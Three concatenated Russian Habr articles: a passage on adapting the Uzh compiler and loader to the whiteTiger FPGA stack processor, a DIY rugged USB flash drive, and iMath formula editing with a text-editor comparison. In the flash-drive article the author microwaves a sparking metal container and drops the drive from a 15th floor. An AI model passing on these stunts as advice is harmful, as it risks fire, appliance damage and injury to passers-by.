Некоторое время назад был анонсирован компилятор Uzh [[5](https://github.com/true-grue/uzh)] — небольшой компилятор для программного процессора FPGA Zmey (32-битная стековая архитектура с поддержкой многопоточности – если проследить цепочку версий/модификаций/верификаций – Zmey – дальний потомок процессора whiteTiger).
Uzh – это также статически скомпилированное подмножество Python, основывается на перспективном инструментарии raddsl (набор инструментов для быстрого создания прототипов DSL-компиляторов) [[6](https://github.com/true-grue/raddsl), [7](http://sovietov.com/txt/dsl_python_conf.pdf)].
Таким образом, факторы, повлиявшие на выбор направления работ можно сформулировать примерно так:
* интерес к средствам, понижающим «порог вхождения» для начинающих разработчиков устройств и систем на ПЛИС (синтаксически Python не такой «страшный» для начинающего, как VHDL);
* стремление к гармонии и единому стилю в проекте (теоретически возможно описать требуемые аппаратные блоки и программное обеспечение софт-процессора на Python);
* случайное стечение обстоятельств.
### Небольшие, «почти» ничего не значащие нюансы
Исходный код процессора Zmey не является открытым, но доступно описание принципов его работы и некоторых особенностей архитектуры. Хотя он и является также стековым, есть ряд ключевых отличий от процессора whiteTiger:
* стеки являются программными – т.е. представлены указателями и размещаются в памяти данных по разным адресам;
* в систему команд введен ряд команд, оптимизирующих процессор для выполнения кода С-подобных ЯВУ;
* отличаются способы загрузки и представления чисел и констант в памяти программ;
* процессор является многопоточным, но в контексте данной работы это не является существенным.
Соответственно, компилятор Uzh данные особенности учитывает. Компилятор принимает код на языке Python и формирует на выходе загрузочный поток для инициации памяти программ и памяти данных процессора, ключевым моментом является то, что на этапе компиляции доступен весь функционал языка.
Для установки компилятора Uzh достаточно скачать его архив и распаковать в любую удобную папку (лучше придерживаться общих рекомендаций для специализированного программного обеспечения – избегать путей, содержащих кириллицу и пробелы). Также необходимо скачать и распаковать в основную папку компилятора инструментарий raddsl.
Папка test компилятора содержит примеры программ для софт-процессора, папка src – исходные тексты элементов компилятора. Для удобства работы лучше создать небольшой командный файл (расширение .cmd) с содержимым: **`c.py C:\D\My_Docs\Documents\uzh-master\tests\abc.py`** , где abc.py – имя файла с программой для софт-процессора.
### Змея, кусающая себя за хвост или притирка железа и софта
Для адаптации Uzh-а к процессору whiteTiger потребуются некоторые изменения, также как и немного придется подкорректировать и сам процессор.
К счастью, мест, подлежащих корректировке в компиляторе не много. Основные «аппаратно-зависимые» файлы:
* asm.py – ассемблер и формирование чисел (литералов);
* gen.py – низкоуровневые правила формирования кода (функции, переменные, переходы и условия);
* stream.py – формирование загрузочного потока;
* macro.py – макроопределения, по факту – расширения базового языка аппаратно-специфичными функциями.
В исходном проекте процессора whiteTiger UART-загрузчик позволяет инициализировать только память программ. Алгоритм работы загрузчика простой, но отработанный и надежный:
* по приему определенного управляющего байта загрузчик выставляет активный уровень на внутренней линии сброса процессора;
* по второй байтовой команде сбрасывается счетчик адреса памяти;
* далее следует последовательность тетрад передаваемого слова, начиная с младшей, комбинированные с тетрадой-номером ;
* после каждого байта с упакованной тетрадой следует пара управляющих байт первый из которых устанавливает активный уровень на линии разрешения записи памяти, второй сбрасывает его;
* по завершении последовательности упакованных тетрад управляющим байтом снимается активный уровень на линии сброса.
Так как компилятором используется также память данных, необходимо модифицировать загрузчик, чтобы он мог также инициализировать и память данных.
Поскольку память данных задействована в логике работы процессорного ядра, необходимо мультиплексировать её линии данных и управления. Для этого вводятся дополнительные сигналы DataDinBtemp, LoaderAddrB, DataWeBtemp – данные, адрес и разрешение записи для порта В памяти.
Код загрузчика теперь выглядит так:
```
uart_unit: entity work.uart
--uart_unit: entity uart
Generic map(
ClkFreq => 50_000_000,
Baudrate => 115200)
port map(
clk => clk,
rxd => rx,
txd => tx,
dout => receivedByte,
received => received,
din => transmitByte,
transmit => transmit);
process(clk)
begin
if rising_edge(clk) then
if received = '1' then
case conv_integer(receivedByte) is
-- 0-F - 0-3 bits
when 0 to 15 => CodeDinA(3 downto 0) <= receivedByte(3 downto 0);
DataDinBtemp(3 downto 0) <= receivedByte(3 downto 0);
-- 10-1F -4-7bits
when 16 to 31 => CodeDinA(7 downto 4) <= receivedByte(3 downto 0);
DataDinBtemp(7 downto 4) <= receivedByte(3 downto 0);
-- 20-2F -8bit
when 32 to 47 => CodeDinA(8) <= receivedByte(0);
DataDinBtemp(11 downto 8) <= receivedByte(3 downto 0);
when 48 to 63 => DataDinBtemp(15 downto 12) <= receivedByte(3 downto 0);
when 64 to 79 => DataDinBtemp(19 downto 16) <= receivedByte(3 downto 0);
when 80 to 95 => DataDinBtemp(23 downto 20) <= receivedByte(3 downto 0);
when 96 to 111 => DataDinBtemp(27 downto 24) <= receivedByte(3 downto 0);
when 112 to 127 => DataDinBtemp(31 downto 28) <= receivedByte(3 downto 0);
-- F0 addr=0
when 240 => CodeAddrA <= (others => '0');
-- F1 - WE=1
when 241 => CodeWeA <= '1';
-- F2 WE=0 addr++
when 242 => CodeWeA <= '0'; CodeAddrA <= CodeAddrA + 1;
-- F3 RESET=1
when 243 => int_reset <= '1';
-- F4 RESET=0
when 244 => int_reset <= '0';
-- F5 addr=0
when 245 => LoaderAddrB <= (others => '0');
-- F6 - WE=1
when 246 => DataWeBtemp <= '1';
-- F7 WE=0 addr++
when 247 => DataWeBtemp <= '0'; LoaderAddrB <= LoaderAddrB + 1;
when others => null;
end case;
end if;
end if;
end process;
---- end of loader
```
При активном уровне сброса сигналы DataDinBtemp, LoaderAddrB, DataWeBtemp подключаются к соответствующим портам памяти данных.
```
…
if reset = '1' or int_reset = '1' then
DSAddrA <= (others => '0');
RSAddrA <= (others => '0');
RSAddrB <= (others => '0');
RSWeA <= '0';
DataAddrB <= LoaderAddrB;
DataDinB<=DataDinBtemp;
DataWeB<=DataWeBtemp;
DataWeA <= '0';
…
```
В соответствии с алгоритмом работы загрузчика необходимо модифицировать модуль stream.py. Сейчас в нем две функции. Первая функция — *get\_val()* — разбивает входное слова на нужное количество тетрад. Так, для 9-битных команд процессора whiteTiger они будут транформированы в группы по три тетрады, а 32-битные данные – в последовательности из восьми тетрад. Вторая функция *make()* формирует непосредственно загрузочный поток.
Финальный вид модуля stream:
```
def get_val(x, by_4):
r = []
for i in range(by_4):
r.append((x & 0xf) | (i << 4))
x >>= 4
return r
def make(code, data, core=0):
# передаем команду сброса и задаем начальный адрес 0 памяти данных
stream = [243,245]
for x in data:
# по тетрадам передается 32-битное слово
# выставляется и сбрасывается бит разрешения записи в память данных
stream += get_val(x, 8) + [246, 247]
# начальный адрес памяти команд устанавливается в 0
stream += [240]
for x in code:
# по тетрадам передается 9-битное слово
# выставляется и сбрасывается бит разрешения записи в память команд
stream += get_val(x, 3) + [241, 242]
#снимается сигнал сброса
stream.append(244)
return bytearray(stream)
```
Следующие изменения в компиляторе коснутся модуля asm.py в котором описывается система команд процессора (прописываются мнемоники команд и опкоды команд) и способ представления/компиляции числовых значений – литералов.
Команды упаковываются в словарь, а за литералы отвечает функция lit(). Если с системой команд все просто – просто меняется список мнемоноик и соответсвующих им опкодов, то с литералами дело обстоит немного иначе. В процессоре Zmey команды 8-битные и есть ряд специализированных команд для работы с литералами. В whiteTiger 9-ый бит служит признаком — является ли опкод командой или частью числа.
Если старший (9-ый) бит слова равен 1, то опкод интерпретируется как число – так, к примеру, четыре идущих подряд опкода с признаком числа формируют в итоге 32-битной число. Признаком окончания числа является наличие опкода команды – для определенности и обеспечения единообразия окончанием определения числа служит опкод команды NOP («нет операций»).
В итоге модифицированная функция lit() выглядит так:
```
def lit(x):
x &= 0xffffffff
r = []
if (x>>24) & 255 :
r.append(int((x>>24) & 255) | 256)
if (x>>16) & 255:
r.append(int((x>>16) & 255) | 256)
if (x>>8) & 255:
r.append(int((x>>8) & 255) | 256)
r.append(int(x & 255) | 256)
r += asm("NOP")
return list(r)
```
Основные и самые ответственные изменения/определения – в модуле gen.py. Данный модуль определяет основную логику работы/исполнения высокоуровневого кода на уровне ассемблера:
* условные и безусловные переходы;
* вызов функций и передача им аргументов;
* возврат из функций и возвращение результатов;
* подстройки под размеры памяти программ, памяти данных и стеков;
* последовательность действий при старте процессора.
Для поддержки ЯВУ процессор должен уметь достаточно произвольно работать с памятью и указателями и иметь область памяти для хранения локальных переменных функций.
В процессоре Zmey для работы с локальными переменными и аргументами функций используется стек возвратов – аргументы функции переносятся на него и при дальнейшей работе к ним идет обращение через регистр-указатель стека возвратов (чтение, модификация в сторону увеличения/уменьшения, чтение по адресу указателя). Поскольку стек физически располагается в памяти данных, то такие операции по сути просто сводятся к операциям с памятью, в пределах этой же памяти располагаются и глобальные переменные.
В whiteTiger стеки возвратов и данных являются выделенными аппаратными стеками со своим адресным пространством и не имеет команд работы с указателями стеков. Следовательно, операции с передачей аргументов функциям и работу с локальными переменными необходимо будет организовывать через память данных. Увеличивать объемы стеков данных и возвратов для возможного хранения в них относительно больших массивов данных не имеет большого смысла, логичнее иметь несколько большую память данных.
Для работы с локальными переменными был добавлен выделенный регистр LocalReg, задача которого – хранить указатель на область памяти, отведенную для локальных переменных (своего рода heap). Добавлены также операции для работы с ним (файл cpu.vhd – область определения команд):
```
-- group 1; pop 0; push 1;
when cmdLOCAL => DSDinA <= LocalReg;
when cmdLOCALadd => DSDinA <= LocalReg; LocalReg <= LocalReg+1;
when cmdLOCALsubb => DSDinA <= LocalReg; LocalReg <= LocalReg-1;
…
-- group 2; pop 1; push 0;
when cmdSETLOCAL => LocalReg <= DSDinA;
…
```
LOCAL – возвращает на стек данных текущее значение указателя LocalReg;
SETLOCAL – устанавливает новое значение указателя, принятое со стека данных;
LOCALadd – оставляет на стеке данных текущее значение указателя и увеличивает его на 1;
LOCALsubb — оставляет на стеке данных текущее значение указателя и уменьшает его на 1.
LOCALadd и LOCALsubb добавлены для уменьшения количества тактов при операциях передачи параметров функции и наоборот.
В отличие от оригинального whiteTiger немного были изменены подключения памяти данных – теперь порт В памяти постоянно адресуется выходом первой ячейки стека данных, на его вход подается выход второй ячейки стека данных:
```
-- ++
DataAddrB <= DSDoutA(DataAddrB'range);
DataDinB <= DSDoutB;
```
Логика выполнения команд STORE и FETCH также немного подкорректировалась – FETCH принимает на вершину стека данных выходное значение порта В памяти, а STORE просто управляет сигналом разрешения записи порта В:
```
…
-- group 3; pop 1; push 1;
when cmdFETCH => DSDinA <= DataDoutB;
…
when cmdSTORE =>
DataWeB <= '1';
…
```
В рамках тренировки, а также для некоторой аппаратной поддержки циклов на низком уровне (и на уровне компилятора языка Форт) к ядру whiteTiger был добавлен стек счетчиков циклов (действия аналогичные, как при объявлении стеков данных и возвратов):
```
…
-- стек счетчиков
type TCycleStack is array(0 to LocalSize-1) of DataSignal;
signal CycleStack: TCycleStack;
signal CSAddrA, CSAddrB: StackAddrSignal;
signal CSDoutA, CSDoutB: DataSignal;
signal CSDinA, CSDinB: DataSignal;
signal CSWeA, CSWeB: std_logic;
…
-- стек счетчиков
process(clk)
begin
if rising_edge(clk) then
if CSWeA = '1' then
CycleStack(conv_integer(CSAddrA)) <= CSDinA;
CSDoutA <= CSDinA;
else
CSDoutA <= CycleStack(conv_integer(CSAddrA));
end if;
end if;
end process;
```
Были добавлены команды организации циклов со счетчиком.
DO – перемещающая число итераций цикла со стека данных на стек счетчиков и помещающая на стек возвратов инкрементированное на единицу значение счетчика команд.
LOOP – проверяет обнуление счетчика, если не достигнуто, верхний элемент стека счетчиков декрементируется, осуществляется переход по адресу на вершине стека возвратов. Если вершина стека счетчиков равна нулю, верхний элемент сбрасывается, сбрасывается также адрес возврата на начало цикла с вершины стека возвратов.
```
when cmdDO => -- DO -
RSAddrA <= RSAddrA + 1; --
RSDinA <= ip + 1;
RSWeA <= '1';
CSAddrA <= CSAddrA + 1; --
CSDinA <= DSDoutA;
CSWeA <= '1';
DSAddrA <= DSAddrA - 1; --
ip <= ip + 1; --
when cmdLOOP => --
if conv_integer(CSDoutA) = 0 then
ip <= ip + 1; --
RSAddrA <= RSAddrA - 1; --
CSAddrA <= CSAddrA - 1; --
else
CSDinA <= CSDoutA - 1;
CSWeA <= '1';
ip <= RSDoutA(ip'range);
end if;
```
Теперь можно приступить к модификации кода модуля gen.py.
Переменные \*\_SIZE в комментариях не нуждаются и требуют только подстановки значений, заданных в проекте процессорного ядра.
Список STUB – временная заглушка для формирования места для адресов переходов с последующим их заполнением компилятором (текущие значения соответствуют 24-битному адресному пространству памяти кода).
Список STARTUP – задает последовательность действий, выполняемых ядром после сброса – в данном случае будет задан начальный адрес памяти локальных переменных – 900, и переход на точку старта (если ничего не менять, точка старта/входа в приложение прописывается компиляторов в ячейку памяти данных с адресом 2):
```
STARTUP = asm("""
900 SETLOCAL
2 NOP FETCH JMP
""")
```
Определение func() прописывает действия, производимые при вызове функции, а именно – перенос аргументов функции в область локальных переменных, выделение памяти для собственных локальных переменных функции.
```
@act
def func(t, X):
t.c.entry = t.c.globs[X]
t.c.entry["offs"] = len(t.c.code) # - 1
args = t.c.entry["args"]
temps_size = len(t.c.entry["locs"]) - args
# перенос аргументов в область локальных переменных
t.out = asm("LOCALadd STORE " * args)
if temps_size:
# отведение памяти под локальные переменные функции
t.out += asm("LOCAL %d PLUS SETLOCAL" % temps_size)
return True
```
Epilog() определяет действия при возвращении из функции – освобождение памяти временных переменных, возврат на точку вызова.
```
def epilog(t, X):
locs_size = len(t.c.entry["locs"])
# возврат из подпрограммы
t.out = asm("RET")
if locs_size:
# высвобождение памяти временных (внутренних) переменных функции
t.out = asm("LOCAL %d MINUS SETLOCAL" % locs_size) + t.out
return True
```
Работа с переменными идет посредством их адресов, ключевое определение для этого – push\_local(), оставляющее на стеке данных адрес «высокоуровневой» переменной.
```
def push_local(t, X):
# берем текущее значение указателя локалов и отнимаем смещение относительного него
# требуемой переменной
t.out = asm("LOCAL %d MINUS" % get_loc_offset(t, X))
return True
```
Следующие ключевые моменты – это условный и безусловный переходы. Условный переход в процессоре whiteTiger проверяет на 0 второй элемент стека данных и переходит по адресу на вершине стека, если условие выполняется. Безусловный переход просто устанавливает значение счетчика команд равному значению на вершине стека.
```
@act
def goto_if_0(t, X):
push_label(t, X)
t.out += asm("IF")
return True
@act
def goto(t, X):
push_label(t, X)
t.out += asm("JMP")
return True
```
Следующие два определения задают операции битового сдвига – как раз на низком уровне применены циклы (даст некоторый выигрыш в размере кода – оригинале компилятор просто помещает подряд требуемое количество элементарных операций сдвига.
```
@act
def shl_const(t, X):
t.out = asm("%d DO SHL LOOP" %(X-1))
return True
@act
def shr_const(t, X):
t.out = asm("%d DO SHR LOOP" %(X-1))
return True
```
И основное определение компилятора на низком уровне – набор правил для операций языка и работы с памятью:
```
stmt = rule(alt(
seq(Push(Int(X)), to(lambda v: asm("%d" % v.X))),
seq(Push(Local(X)), push_local),
seq(Push(Global(X)), push_global),
seq(Load(), to(lambda v: asm("NOP FETCH"))),
seq(Store(), to(lambda v: asm("STORE"))),
seq(Call(), to(lambda v: asm("CALL"))),
seq(BinOp("+"), to(lambda v: asm("PLUS"))),
seq(BinOp("-"), to(lambda v: asm("MINUS"))),
seq(BinOp("&"), to(lambda v: asm("AND"))),
seq(BinOp("|"), to(lambda v: asm("OR"))),
seq(BinOp("^"), to(lambda v: asm("XOR"))),
seq(BinOp("*"), to(lambda v: asm("MUL"))),
seq(BinOp("<"), to(lambda v: asm("LESS"))),
seq(BinOp(">"), to(lambda v: asm("GREATER"))),
seq(BinOp("=="), to(lambda v: asm("EQUAL"))),
seq(BinOp("~"), to(lambda v: asm("NOT"))),
seq(ShlConst(X), shl_const),
seq(ShrConst(X), shr_const),
seq(Func(X), func),
seq(Label(X), label),
seq(Return(X), epilog),
seq(GotoIf0(X), goto_if_0),
seq(Goto(X), goto),
seq(Nop(), to(lambda v: asm("NOP"))),
seq(Asm(X), to(lambda v: asm(v.X)))
))
```
Модуль macro.py позволяет несколько «расширить» словарь целевого языка за счет макроопределений на ассемблере целевого процессора. Для компилятора ЯВУ определения в macro.py не будут отличаться от «родных» операторов и функций языка. Так, к примеру, в оригинальном компиляторе были определены функции ввода-вывода значения во внешний порт. Были добавлены тестовые последовательности операций с памятью и локальными переменными и операция временной задержки.
```
@macro(1,0)
def testasm(c,x):
return Asm("1 1 OUTPORT 0 1 OUTPORT 11 10 STORE 10 FETCH 1 OUTPORT 15 100 STORE 100 FETCH 1 OUTPORT")
@macro(1,0)
def testlocal(c,x):
return Asm("1 100 STORE 2 101 STORE 100 SETLOCAL LOCAL NOP FETCH 1 OUTPORT LOCAL 1 PLUS NOP FETCH 1 OUTPORT")
@prim(1, 0)
def delay(c, val):
return [val, Asm("DO LOOP")]
```
### Тестирование
Небольшая тестовая высокоуровневая программа для нашего процессора содержит определение функции для вычисления факториала, и основную функцию, реализующую последовательный вывод значений факториала от 1 до 7 в порт в бесконечном цикле.
```
def fact(n):
r = 1
while n > 1:
r *= n
n -= 1
return r
def main():
n=1
while True:
digital_write(1, fact(n))
delay(10)
n=(n+1)&0x7
```
Запуск её на компиляцию можно произвести, например, простым скриптом или из командной строки последовательностью:
`c.py C:\D\My_Docs\Documents\uzh-master\tests\fact2.py`
В результате будет сформирован загрузочный файл stream.bin, который можно передавать процессорному ядру в ПЛИС через последовательный порт (в современных реалиях через любой виртуальный последовательный порт, который предоставляют преобразователи интерфейсов USB-UART). Программа в итоге занимает 146 слов (9-битных) памяти программ и 3 в памяти данных.
### Заключение
В целом, компилятор Uzh представляется легким и удобным инструментарием для разработки программного обеспечения для софт-процессоров. Является прекрасной альтернативой ассемблеру, по крайней мере, в плане удобства работы программисту. Инструментарий определения примитивов и макросов как функций целевого языка позволяет критичные места реализовывать на ассемблере процессора. Для процессоров стековой архитектуры процедура адаптации компилятора не является слишком сложной и долгой. Можно сказать, что это как раз тот случай, когда наличие исходных текстов компилятора помогает – изменяются ключевые участки компилятора.
Результаты синтеза процессора (разрядность 32 бита, 4К-слов памяти программ и 1К ОЗУ) для FPGA Altera серии Cyclone V дает следующее:
```
Family Cyclone V
Device 5CEBA4F23C7
Logic utilization (in ALMs) 694 / 18,480 ( 4 % )
Total registers 447
Total pins 83 / 224 ( 37 % )
Total virtual pins 0
Total block memory bits 72,192 / 3,153,920 ( 2 % )
Total DSP Blocks 2 / 66 ( 3 % )
```
***Литература***
1. Forth-процессор на VHDL // [m.habr.com/ru/post/149686](https://m.habr.com/ru/post/149686/)
2. Python — Википедия // [ru.wikipedia.org/wiki/Python](https://ru.wikipedia.org/wiki/Python)
3. Начинаем FPGA на Python \_ Хабр // [m.habr.com/ru/post/439638](https://m.habr.com/ru/post/439638/)
4. MyHDL // [www.myhdl.org](http://www.myhdl.org)
5. GitHub — true-grue\_uzh\_ Uzh compiler // [github.com/true-grue/uzh](https://github.com/true-grue/uzh)
6. GitHub — true-grue\_raddsl\_ Tools for rapid prototyping of DSL compilers // [github.com/true-grue/raddsl](https://github.com/true-grue/raddsl)
7. [sovietov.com/txt/dsl\_python\_conf.pdf](http://sovietov.com/txt/dsl_python_conf.pdf)
Автор выражает благодарность разработчикам софт-процессора Zmey и компилятора Uzh за консультации и долготерпение. | https://habr.com/ru/post/491604/ | null | ru | null |
# Защищённая флешка за 350 рублей своими руками
Всем доброго времени суток. Как-то раз у меня появилась идея купить флешку, с которой не будет страшно лезть ни в огонь ни в воду, ни [стираться](http://habrahabr.ru/company/storelab/blog/150413/#comment_5179621) с ней в стиральной машинке. Нашёл в интернете штуки и за тысячу рублей и за две. Денег мало, жаба задушила, пришлось что-то выдумывать.
Сразу скажу, что из инструментов у меня только паяльная станция, хотя по-хорошему хватит и обыкновенного советского паяльника. И ёще, **под катом много фоток**!
Закупаемся
==========
Для начала купил в Сплаве такой [контейнер](http://www.splav.ru/goodsdetail.aspx?gid=20120516133543049590). Он сделан из алюминия и, предположительно, достаточно прочен. Стенки толщиной в миллиметр с блестящей стороны и в полтора миллиметра с синей. Стоит **55** рублей.
Для герметизации в магазине Fix-Price был куплен термопистолет на 20 Вт, который хоть и маломощный и очень хрупкий, но которого с головой хватает для наших задач. Он обошёлся мне в **37** рублей. В радиомагазине рядом с домом также было куплено несколько стержней для пистолета. Понадобилась лишь четверть стерженька, можно даже не считать, но для честности скажем, что он стоит **10** рублей.
На внутренности мы разобрали флешку [Transcend JetFlash T5](http://market.yandex.ru/model.xml?modelid=3466555&hid=288003) на 2 Гб. Специально взял не очень большую, чтобы не было жалко. Для разъёма также за **20** приобрёл usb-штекер с обжатием на кабель.
В итоге у меня вышло **350** рублей.
Собираем всё воедино
====================
Заранее прошу прощения за снимки, кроме телефона ничего под рукой не было.
Для начала разбираемся с флешкой. Её мы разбираем любым доступным способом, она вся держится на клею. Когда будете отрывать её от пластинки с рычажком-кнопкой будьте аккуратней. Она держится на клеевой жвачке. В итоге у нас на руках оказывается почти монолитная конструкция:
Эти четыре контакта — достаточно хрупкая конструкция, у меня был печальный опыт, когда они отломались, захватив с собой половину флешки. Именно поэтому мы усилим их полноценным usb-штекером.
Берём любые четыре проводка (например, две пары из сетевого шнура) и припаиваем их с одной стороны к флешке, с другой к штекеру и из термопистолета заливаем обратную сторону usb-штекера клеем, чтобы получилось примерно так:
Затем хорошенько прогреваем пистолет и заполняем клеем весь герметичный контейнер и быстро вставляем туда флешку. Если с термоклеем что-то не получилось, то его можно расплавить даже с помощью паяльника. Он вонять и гореть не будет.
Флешка готова!
Теперь тесты
============
Тест чтения будем проводить так: запишем на флешку архив с последними сорцами линукса и будем сравнивать md5 после каждого эксперимента.
```
gamepad@GamePad-C1L:/media/gamepad/Transcend$ md5sum *
7c959e3e0b6559ca3f1b7bf86fdc6370 linux-3.6.7.tar.bz2
gamepad@GamePad-C1L:/media/gamepad/Transcend$
```
### Стакан с водой
Ну, так не интересно. Написано же, что контейнер сам по себе герметичный. Давайте уж так:
Так, вынимаем, тестим… Всё работает! Уже хорошо.
### Микроволновая печь
Одним из условий прохождения тестов была устойчивость к кратковременному, но достаточно мощному электромагнитному излучению. Вот мы и засунем его в микроволновку:
Время — 30 секунд. Честно говоря, я думал, что мой киловаттный повар взорвётся. Стальное колечко на корпусе флешки искрило не по-детски. Доставал носитель в кухонных перчатках. Как только он остыл, вставляем в компьютер, usb-хаб радостно мигает лампочкой. Всё работает. Тест чтения проходит на ура!
### Падение из окна
Да мы эту флешку собирали, мучали водой и страшными лучами и теперь просто взяли выкинули в окно… с 15 этажа. Попала в траву (надо было в асфальт бросить).
Спускаюсь вниз, нахожу бедолагу в траве, несу домой. Подключаю — работает. MD5 верный.
После этого решил протестировать на запись. Записал на неё загрузочный образ ubuntu. На другом компьютере загружаюсь с неё. Успешно.
### UPD: Кипячение
После публикации [Ravmos](http://geektimes.ru/users/ravmos/) предложил гениальную идею: прокипятить флешку. Этим я и занялся. Налил горячей воды в кастрюльку, довёл до кипения, бросил девайс, и варил 5 минут. Получился замечательный суп, который не потерял ни грамма своей информационной ценности:
Доставать руками не хотелось, выплеснул в раковину и под холодную воду, как макароны. После подключения к компьютеру выяснилось, что флешка в годном состоянии, все тесты проходит на отлично (уже поставил с неё убунту на ноутбук).
Вот такой маленький опыт стерилизации накопителей (к сожалению, помогает только от реальных вирусов, некомпьютерных :-) ).
### UPD2: Охлаждение-нагрев
Небольшая симуляция зимнего режима работы, когда мы заносим устройство домой, и быстро греем его до комнатной температуры.
Флешка пролежала 20 минут в морозилке в режиме заморозки, затем была быстро нагрета в тазике с горячей водой.
После этого эксперимента никто не пострадал, данные как читались, так и продолжали читаться. Запись тоже без нареканий.
Вот и всё! Таким образом, мы за 350 рублей собрали защищённую флешку и в качестве бонуса имеем копеечный клеевой пистолет. Теперь наши данные будут в безопасности. Удачи! | https://habr.com/ru/post/159323/ | null | ru | null |
# Расчеты на прочность в LibreOffice и выбор текстового редактора
Проблемы оформления расчетов и что такое iMath
----------------------------------------------
Наверное, многие, кто учился в техническом ВУЗе, сначала делали вычисления своих курсовых в Mathcad (или другом математическом пакете), а затем старательно набирали эти же формулы в MS Word с подстановкой чисел. Потом забыли про это.
Когда меня взяли конструктором по расчетам на прочность — пришлось вспомнить.
Нет, современные технологии МКЭ используются (SolidWorks, Ansys), но формулы с методиками по ГОСТ никто не отменял. Тут принципы не изменились, хотя со времен защиты моего диплома прошло более 10 лет. Люди сначала набирают формулы, уже набранные в Mathcad, а потом руками подставляют каждое число в формулу и записывают результат.
> Зачем писать цифры после формулы, если результат считает компьютер?
Это спорное мнение, такие записи действительно иногда помогают найти ошибку. Просто нонсенс делать это руками. Люди пытались решить эту проблему с разных сторон: существуют [TechEditor](https://www.dystlab.store/index.php/ru/techeditor), [CalcPad](https://www.cesdb.com/calcpad.html), [NormCad](http://normcad.ru/s/normcad.php). Но не о них речь, на практике применяю только 2 решения:
1.  Оформление прямо в Mathcad и распечатка как есть.
2.  Оформление в [LibreOffice Writer](https://www.libreoffice.org/download/download/) с плагином [iMath](https://sourceforge.net/projects/ooo-imath/) — он считает и подставляет числа.
Подход 1 применим не для всех документов:
* рамки ГОСТ, таблицы, автонумерацию рисунков, ссылок в Mathcad не особо реализуешь;
* для "оформленных" расчетов требуют подставлять числа и перечислять переменные с пояснением после формулы:
если подставить значения можно в старом Mathcad 15, то с присвоением значений после формулы — проблемы что в Mathcad 15, что в Mathcad Prime;
* общее ограничение оформительских возможностей, например, нельзя вывести значение переменной без её имени и знака равенства.
Подход 2 тоже ограничен возможностями iMath, и иногда приходится копипастить таблицы из Mathcad в LibreOffice Writer, но не приходится хотя бы каждую цифру руками набирать в каждой формуле.
Зачем нужен text expander при наборе формул iMath
-------------------------------------------------
Простой пример (серым показан исходный текст):
Многовато для переменной из двух символов. Но решается проблема просто, т.к. iMath поддерживает Юникод и существуют программы, раскрывающие сниппеты не только в Вашем любимом текстовом редакторе, но вообще везде. С их помощью можно набирать греческие буквы просто и без мышки.
Назначим сниппеты по аналогии с Mathcad, где это делается так: D, Ctrl+G → Δ, у нас будет так: DG → Δ. Тогда и читать исходник формулы станет проще:
Из бесплатных программ остановился на этих, они решают проблему:
*  [aText](https://www.trankynam.com/atext/) (некоторые функции платные, пока без них приемлемо) Windows7+/MacOS
[Здесь](https://raw.githubusercontent.com/cser/images/master/post_files/engineers.csv) лежат греческие буквы и другие сниппеты для оформления расчетной документации, загружаются через File→Открыть и надо выбрать csv в диалоге, перед загрузкой можно удалить Default Group и Examples
*  [espanso](https://github.com/federico-terzi/espanso) Windows8+/MacOS/Linux
Причем здесь текстовый редактор
-------------------------------
Проблема №1. Чтобы отобразить переменные после формулы, нужно просто присвоить их скрытно перед формулой и затем отобразить после формулы их значения (серым показан исходный текст)
В чем проблема? А в подстановке значений. Здесь пришлось скопипастить `d=sqrt{{8 · F_2 · i_{}}over{%pi · τ_2}}}`, немного изменить до вида `=sqrt{{8 · F_2 · i_{}}over{%pi · τ_2}}}=d` и обернуть каждую переменную в `_ii_VAL()_ii_`. На практике это быстрее чем вместо оборачивания выискивать значения и вписывать их. Но работа лишняя.
Автоматизировать эту подстановку в iMath проблематично, но можно зайти с другого конца — сделать эти правки с помощью макросов в текстовом редакторе.
Проблема №2. Вместе со сгенерированным текстом исходник формулы довольно тяжело воспринимается
```
%%ii @d@ EQDEF d=sqrt{{8 · F_2 · i_{}}over{%pi · τ_2}}
d=sqrt{{8 · F_2 · i_{}}over{%pi · τ_2}} %%gg
%%ii TEXT =sqrt{{8 · _ii_VAL(F_2)_ii_ · _ii_VAL(i_{})_ii_}over{_ii_VAL(%pi)_ii_ · _ii_VAL(τ_2)_ii_}}=_ii_VAL(d)_ii_
=sqrt{{8 · 200 · 5}over{3,142 · 900}}=1,682 %%gg
```
Лечится подсветкой сгенерированного отдельным цветом, опять же в текстовом редакторе.
Проблема №3. Часто приходится искать пропавшую скобочку. Во встроенном редакторе формул подсветку парных скобок никак не добавят. Тоже решается использованием внешнего редактора.
Разработчик iMath, [Jan Rheinlaender](https://sourceforge.net/u/jrheinlaender/profile/), [пошел мне навстречу](https://sourceforge.net/p/ooo-imath/feature-requests/75/) и добавил редактирование формул из внешнего редактора. Дело за малым — выбрать его и настроить.
Требования к редактору такие:
* бесплатность;
* макросы;
* множественное редактирование (потребуется для использования в макросах, и просто удобно);
* подсветка пользовательского синтаксиса;
* подсветка парных скобок;
* удобство редактирования английского текста вперемешку с русским, чтобы набирать такое, например:
```
Q_д=0.785 · D_сп^2 · p
```
* кроссплатформенность (желательно);
* сохранение без подтверждений при закрывании (желательно).
Сравнение текстовых редакторов
------------------------------
 [Sublime Text](https://www.sublimetext.com/3)
Этот редактор выглядит привлекательнее остальных. Формально он не бесплатный, но напоминает об этом даже не каждый день и ничем больше не досаждает.
Смотрим, можно ли настроить подсветку своего синтаксиса. [Да, у него есть возможность описать его в yaml](https://www.sublimetext.com/docs/3/syntax.html). Пишем [файл подстветки](https://sourceforge.net/p/ooo-imath/feature-requests/_discuss/thread/9d0adce625/541f/attachment/eqn.sublime-syntax), результат выглядит отлично:
Теперь записываем макросы: Ctrl+Q, Ctr+F, пишем регулярку для выделения переменной, выделяем, переводим курсор влево, пишем `_ii_VAL(`, выделяем регуляркой опять, переводим курсор вправо, пишем `)_ii_`, нажимаем Ctrl+Q. Проверяем что получилось — запускаем макрос с помощью Ctrl+Shift+Q. И ничего. Не выделяется оно, и люди [жалуются](https://forum.sublimetext.com/t/using-find-in-macros/245) с 2009. Да...
Ладно, разберёмся позже. Попробуем пока настроить Sublime, чтобы он сохранял файл без подтверждений и выходил по одной кнопке. И тут снова проблема — в Sublime нельзя назначить 2 действия на один шоткат. Окей, ставим плагин для поддержки назначения нескольких действий, но сохранить без подтверждений и закрыть редактор все равно не получается. Не проблема — у нас же есть макросы! Нажимаем Ctrl+Q, запись пошла, нажимаем Ctrl+S — сохранились, теперь выходим...
Окно закрылось, может быть даже закрытие записалось в макрос, но сам макрос-то не сохранился. Что ж, не судьба, смотрим другие редакторы.
 [Vim](https://www.vim.org/)
